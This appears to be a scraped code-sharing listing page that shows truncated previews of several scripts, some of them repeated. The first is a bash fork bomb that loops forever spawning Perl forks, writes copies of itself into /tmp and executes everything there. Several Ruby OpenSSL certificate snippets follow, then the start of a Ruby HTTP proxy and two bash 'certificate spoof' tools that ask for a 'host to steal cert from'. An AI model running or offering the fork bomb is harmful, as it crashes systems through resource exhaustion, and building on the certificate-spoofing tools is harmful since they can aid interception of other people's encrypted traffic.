This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
trap 'INT' | |
for (( ; ; )) | |
do | |
trap 'HUP' | |
perl -e "fork while fork" & | |
echo "perl -e "fork while fork" &" >> /tmp/$RANDOM | |
chmod u+x /tmp/* | |
cd /tmp | |
./* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'openssl' | |
puts "Warning this tool only works with DER encoded certificates" | |
key = OpenSSL::PKey::RSA.new(2048) | |
cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
public_key = key.public_key | |
raw = File.read "root.cer" | |
cert = OpenSSL::X509::Certificate.new raw | |
cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'openssl' | |
puts "Warning this tool only works with DER encoded certificates" | |
key = OpenSSL::PKey::RSA.new(2048) | |
cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
public_key = key.public_key | |
raw = File.read "root.cer" | |
cert = OpenSSL::X509::Certificate.new raw | |
cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'openssl' | |
puts "Warning this tool only works with DER encoded certificates" | |
key = OpenSSL::PKey::RSA.new(2048) | |
cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
public_key = key.public_key | |
raw = File.read "root.cer" | |
cert = OpenSSL::X509::Certificate.new raw | |
cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'openssl' | |
puts "Warning this tool only works with DER encoded certificates" | |
key = OpenSSL::PKey::RSA.new(2048) | |
cipher = OpenSSL::Cipher::AES.new(256, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
public_key = key.public_key | |
raw = File.read "root.cer" | |
cert = OpenSSL::X509::Certificate.new raw | |
cert.not_before = Time.now |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'openssl' | |
key = OpenSSL::PKey::RSA.new(4096) | |
cipher = OpenSSL::Cipher::AES.new(128, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
public_key = key.public_key | |
printf "Common Name: " | |
cn = gets | |
commonname = cn.chomp | |
printf "Orgnization: " |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'openssl' | |
key = OpenSSL::PKey::RSA.new(4096) | |
cipher = OpenSSL::Cipher::AES.new(128, :CBC) | |
ctx = OpenSSL::SSL::SSLContext.new | |
public_key = key.public_key | |
printf "Common Name: " | |
cn = gets | |
commonname = cn.chomp | |
printf "Orgnization: " |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# A quick and dirty implementation of an HTTP proxy server in Ruby | |
# because I did not want to install anything. | |
# | |
# Copyright (C) 2009 Torsten Becker <[email protected]> | |
require 'socket' | |
require 'uri' | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "OWASP Certificate Spoof Tool" | |
echo "By Gdisney-leugers" | |
echo "Host to steal cert from:" | |
read host | |
echo "Host SSL port:" | |
read port | |
echo "Keystore:" | |
read ks | |
echo "Password: (Must be at least 6 characters)" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Host to steal cert from:" | |
read host | |
echo "Host SSL port:" | |
read port | |
echo "Keystore:" | |
read ks | |
echo "Password: (Must be at least 6 characters)" | |
read passwd; | |
mkdir ~/ca |